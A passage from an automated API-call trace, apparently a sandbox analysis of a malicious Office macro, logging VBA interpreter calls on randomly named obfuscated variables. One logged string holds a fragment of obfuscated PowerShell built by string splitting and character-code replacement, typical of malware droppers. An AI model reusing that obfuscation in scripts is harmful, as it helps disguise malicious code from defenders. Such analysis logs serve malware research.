lpWideCharStr="iHRYmlDqMh") returned 10 [0018.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63802, cbMultiByte=10, lpWideCharStr=0xce5387a, cchWideChar=22 | out: lpWideCharStr="KrOGwrXIJr") returned 10 [0018.725] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abdf60 [0018.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63816, cbMultiByte=10, lpWideCharStr=0xce53a24, cchWideChar=22 | out: lpWideCharStr="KblQiRCjGR") returned 10 [0018.726] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce60000 [0018.727] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kLPLosuUI") returned 0x10a218 [0018.727] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="kLPLosuUI" | out: _Dst="kLPLosuUI") returned 0x0 [0018.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="kLPLosuUI") returned 10 [0018.727] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.727] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="kLPLosuUI", lHashVal=0x10a218, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.727] IUnknown:Release (This=0x7919520) returned 0xd [0018.727] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.727] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="kLPLosuUI", lHashVal=0x10a218, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.727] IUnknown:Release (This=0x7346470) returned 0xb [0018.727] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.727] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="kLPLosuUI", lHashVal=0x10a218, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.727] IUnknown:Release (This=0x7345930) returned 0x7 [0018.727] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.727] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="kLPLosuUI", lHashVal=0x10a218, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.727] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.727] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.727] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_kLPLosuUI") returned 0x10ab5d [0018.727] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_kLPLosuUI" | out: _Dst="_B_var_kLPLosuUI") returned 0x0 [0018.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_kLPLosuUI") returned 17 [0018.727] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.727] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_kLPLosuUI", lHashVal=0x10ab5d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.727] IUnknown:Release (This=0x7919520) returned 0xd [0018.727] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.727] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_kLPLosuUI", lHashVal=0x10ab5d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.727] IUnknown:Release (This=0x7346470) returned 0xb [0018.727] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.727] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_kLPLosuUI", lHashVal=0x10ab5d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.727] IUnknown:Release (This=0x7345930) returned 0x7 [0018.727] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.727] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_kLPLosuUI", lHashVal=0x10ab5d, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.727] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.727] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.727] IUnknown:Release (This=0x7919520) returned 0xd [0018.727] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63834, cbMultiByte=10, lpWideCharStr=0xce61eac, cchWideChar=22 | out: lpWideCharStr="iGiXNAwrmG") returned 10 [0018.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6384e, cbMultiByte=10, lpWideCharStr=0xce622f6, cchWideChar=22 | out: lpWideCharStr="OmQHjIksLR") returned 10 [0018.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63862, cbMultiByte=10, lpWideCharStr=0xce624a0, cchWideChar=22 | out: lpWideCharStr="jGpHHwUscH") returned 10 [0018.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63876, cbMultiByte=10, lpWideCharStr=0xce6264a, cchWideChar=22 | out: lpWideCharStr="jSWGPrIBjh") returned 10 [0018.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6388a, cbMultiByte=10, lpWideCharStr=0xce627f4, cchWideChar=22 | out: lpWideCharStr="GdaUvYtGzH") returned 10 [0018.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6389e, cbMultiByte=10, lpWideCharStr=0xce6299e, cchWideChar=22 | out: lpWideCharStr="PPujsbQaQP") returned 10 [0018.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb638b2, cbMultiByte=10, lpWideCharStr=0xce62b48, cchWideChar=22 | out: lpWideCharStr="fDPfZwPKrp") returned 10 [0018.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb638c6, cbMultiByte=10, lpWideCharStr=0xce62cf2, cchWideChar=22 | out: lpWideCharStr="zjIdKFjVLi") returned 10 [0018.729] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce70000 [0018.730] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iEiZPiuKz") returned 0x1047bc [0018.730] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="iEiZPiuKz" | out: _Dst="iEiZPiuKz") returned 0x0 [0018.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="iEiZPiuKz") returned 10 [0018.730] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.730] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iEiZPiuKz", lHashVal=0x1047bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.730] IUnknown:Release (This=0x7919520) returned 0xd [0018.730] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.730] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iEiZPiuKz", lHashVal=0x1047bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.730] IUnknown:Release (This=0x7346470) returned 0xb [0018.730] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.730] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iEiZPiuKz", lHashVal=0x1047bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.730] IUnknown:Release (This=0x7345930) returned 0x7 [0018.730] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.730] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iEiZPiuKz", lHashVal=0x1047bc, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.730] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.730] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x7970d60 [0018.730] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iEiZPiuKz") returned 0x105101 [0018.730] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_iEiZPiuKz" | out: _Dst="_B_var_iEiZPiuKz") returned 0x0 [0018.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_iEiZPiuKz") returned 17 [0018.730] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.730] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iEiZPiuKz", lHashVal=0x105101, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.730] IUnknown:Release (This=0x7919520) returned 0xd [0018.730] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.731] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iEiZPiuKz", lHashVal=0x105101, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.731] IUnknown:Release (This=0x7346470) returned 0xb [0018.731] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.731] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iEiZPiuKz", lHashVal=0x105101, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.731] IUnknown:Release (This=0x7345930) returned 0x7 [0018.731] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.731] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iEiZPiuKz", lHashVal=0x105101, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.731] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.731] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.731] IUnknown:Release (This=0x7919520) returned 0xd [0018.731] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb638e4, cbMultiByte=118, lpWideCharStr=0xce7118c, cchWideChar=238 | out: lpWideCharStr="UF8PZxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CRYHik0A") returned 118 [0018.731] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abe1b0 [0018.731] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.731] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.731] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.731] IUnknown:Release (This=0x7919520) returned 0xd [0018.731] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.731] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Ssmtws") returned 0x10de0e [0018.731] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x7, _Src="Ssmtws" | out: _Dst="Ssmtws") returned 0x0 [0018.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=7, lpWideCharStr=0x305010, cchWideChar=7 | out: lpWideCharStr="Ssmtws") returned 7 [0018.731] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.731] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Ssmtws", lHashVal=0x10de0e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.731] IUnknown:Release (This=0x7919520) returned 0xd [0018.731] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.731] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="Ssmtws", lHashVal=0x10de0e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.731] IUnknown:Release (This=0x7346470) returned 0xb [0018.731] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.731] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="Ssmtws", lHashVal=0x10de0e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.731] IUnknown:Release (This=0x7345930) returned 0x7 [0018.731] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.731] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="Ssmtws", lHashVal=0x10de0e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.731] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.732] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x7970d60 [0018.732] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Ssmtws") returned 0x105878 [0018.732] strcpy_s (in: _Dst=0x305370, _DstSize=0xe, _Src="_B_var_Ssmtws" | out: _Dst="_B_var_Ssmtws") returned 0x0 [0018.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=14, lpWideCharStr=0x3051c0, cchWideChar=14 | out: lpWideCharStr="_B_var_Ssmtws") returned 14 [0018.732] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.732] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_Ssmtws", lHashVal=0x105878, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.732] IUnknown:Release (This=0x7919520) returned 0xd [0018.732] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.732] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_Ssmtws", lHashVal=0x105878, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.732] IUnknown:Release (This=0x7346470) returned 0xb [0018.732] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.732] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_Ssmtws", lHashVal=0x105878, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.732] IUnknown:Release (This=0x7345930) returned 0x7 [0018.732] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.732] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_Ssmtws", lHashVal=0x105878, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.732] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.732] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.732] IUnknown:Release (This=0x7919520) returned 0xd [0018.732] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63974, cbMultiByte=10, lpWideCharStr=0xce71f96, cchWideChar=22 | out: lpWideCharStr="mWlPBTsNSQ") returned 10 [0018.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6398e, cbMultiByte=10, lpWideCharStr=0xce723e0, cchWideChar=22 | out: lpWideCharStr="XFHVwRIUKO") returned 10 [0018.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb639a2, cbMultiByte=10, lpWideCharStr=0xce7258a, cchWideChar=22 | out: lpWideCharStr="JzwRhCWApV") returned 10 [0018.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb639b6, cbMultiByte=10, lpWideCharStr=0xce72734, cchWideChar=22 | out: lpWideCharStr="iUjuunGwFi") returned 10 [0018.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb639ca, cbMultiByte=10, lpWideCharStr=0xce728de, cchWideChar=22 | out: lpWideCharStr="zJpsTFTQSR") returned 10 [0018.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb639de, cbMultiByte=10, lpWideCharStr=0xce72a88, cchWideChar=22 | out: lpWideCharStr="IiYrHoYUiw") returned 10 [0018.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb639f2, cbMultiByte=10, lpWideCharStr=0xce72c32, cchWideChar=22 | out: lpWideCharStr="zrYzhCVNaK") returned 10 [0018.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a06, cbMultiByte=10, lpWideCharStr=0xce72ddc, cchWideChar=22 | out: lpWideCharStr="KJOjPAHFzc") returned 10 [0018.733] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce80000 [0018.734] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WXBKJUaSfG") returned 0x109801 [0018.734] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xb, _Src="WXBKJUaSfG" | out: _Dst="WXBKJUaSfG") returned 0x0 [0018.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=11, lpWideCharStr=0x305010, cchWideChar=11 | out: lpWideCharStr="WXBKJUaSfG") returned 11 [0018.734] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.734] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WXBKJUaSfG", lHashVal=0x109801, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.734] IUnknown:Release (This=0x7919520) returned 0xd [0018.734] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.734] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WXBKJUaSfG", lHashVal=0x109801, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.735] IUnknown:Release (This=0x7346470) returned 0xb [0018.735] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.735] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WXBKJUaSfG", lHashVal=0x109801, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.735] IUnknown:Release (This=0x7345930) returned 0x7 [0018.735] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.735] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WXBKJUaSfG", lHashVal=0x109801, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.735] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.735] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x7970d60 [0018.735] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_WXBKJUaSfG") returned 0x10062c [0018.735] strcpy_s (in: _Dst=0x305370, _DstSize=0x12, _Src="_B_var_WXBKJUaSfG" | out: _Dst="_B_var_WXBKJUaSfG") returned 0x0 [0018.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=18, lpWideCharStr=0x3051c0, cchWideChar=18 | out: lpWideCharStr="_B_var_WXBKJUaSfG") returned 18 [0018.735] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.735] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WXBKJUaSfG", lHashVal=0x10062c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.735] IUnknown:Release (This=0x7919520) returned 0xd [0018.735] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.735] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WXBKJUaSfG", lHashVal=0x10062c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.735] IUnknown:Release (This=0x7346470) returned 0xb [0018.735] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.735] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WXBKJUaSfG", lHashVal=0x10062c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.735] IUnknown:Release (This=0x7345930) returned 0x7 [0018.735] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.735] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WXBKJUaSfG", lHashVal=0x10062c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.735] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.735] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.735] IUnknown:Release (This=0x7919520) returned 0xd [0018.735] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a24, cbMultiByte=10, lpWideCharStr=0xce8128c, cchWideChar=22 | out: lpWideCharStr="ENsVrRYqNn") returned 10 [0018.735] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abe400 [0018.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a3e, cbMultiByte=10, lpWideCharStr=0xce816d6, cchWideChar=22 | out: lpWideCharStr="bhlUBCOuuz") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a52, cbMultiByte=10, lpWideCharStr=0xce81880, cchWideChar=22 | out: lpWideCharStr="IiPKHjHQWn") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a66, cbMultiByte=10, lpWideCharStr=0xce81a2a, cchWideChar=22 | out: lpWideCharStr="vuPhKSLuoI") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a7a, cbMultiByte=10, lpWideCharStr=0xce81bd4, cchWideChar=22 | out: lpWideCharStr="XZzDORwncH") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63a8e, cbMultiByte=10, lpWideCharStr=0xce81d7e, cchWideChar=22 | out: lpWideCharStr="rmaMZWwhNL") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63aa2, cbMultiByte=10, lpWideCharStr=0xce81f28, cchWideChar=22 | out: lpWideCharStr="JITasjSDKj") returned 10 [0018.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ab6, cbMultiByte=10, lpWideCharStr=0xce820d2, cchWideChar=22 | out: lpWideCharStr="rUGmcjlLwq") returned 10 [0018.737] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xce90000 [0018.738] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zUTqF") returned 0x102f23 [0018.738] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="zUTqF" | out: _Dst="zUTqF") returned 0x0 [0018.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="zUTqF") returned 6 [0018.738] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.738] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zUTqF", lHashVal=0x102f23, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.738] IUnknown:Release (This=0x7919520) returned 0xd [0018.738] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.738] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zUTqF", lHashVal=0x102f23, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.738] IUnknown:Release (This=0x7346470) returned 0xb [0018.738] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.738] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zUTqF", lHashVal=0x102f23, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.738] IUnknown:Release (This=0x7345930) returned 0x7 [0018.738] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.738] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zUTqF", lHashVal=0x102f23, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.738] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.738] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.738] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_zUTqF") returned 0x10f34f [0018.738] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_zUTqF" | out: _Dst="_B_var_zUTqF") returned 0x0 [0018.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_zUTqF") returned 13 [0018.738] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.738] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zUTqF", lHashVal=0x10f34f, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.738] IUnknown:Release (This=0x7919520) returned 0xd [0018.738] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.738] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zUTqF", lHashVal=0x10f34f, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.738] IUnknown:Release (This=0x7346470) returned 0xb [0018.738] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.738] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zUTqF", lHashVal=0x10f34f, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.738] IUnknown:Release (This=0x7345930) returned 0x7 [0018.738] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.738] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zUTqF", lHashVal=0x10f34f, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.738] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.738] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.738] IUnknown:Release (This=0x7919520) returned 0xd [0018.738] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ad4, cbMultiByte=10, lpWideCharStr=0xce9056c, cchWideChar=22 | out: lpWideCharStr="jCzWLVlXir") returned 10 [0018.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63aee, cbMultiByte=10, lpWideCharStr=0xce909b6, cchWideChar=22 | out: lpWideCharStr="AZGEHfwiSi") returned 10 [0018.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b02, cbMultiByte=10, lpWideCharStr=0xce90b60, cchWideChar=22 | out: lpWideCharStr="VdfjSdVasJ") returned 10 [0018.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63b16, cbMultiByte=10, lpWideCharStr=0xce90d0a, cchWideChar=22 | out: 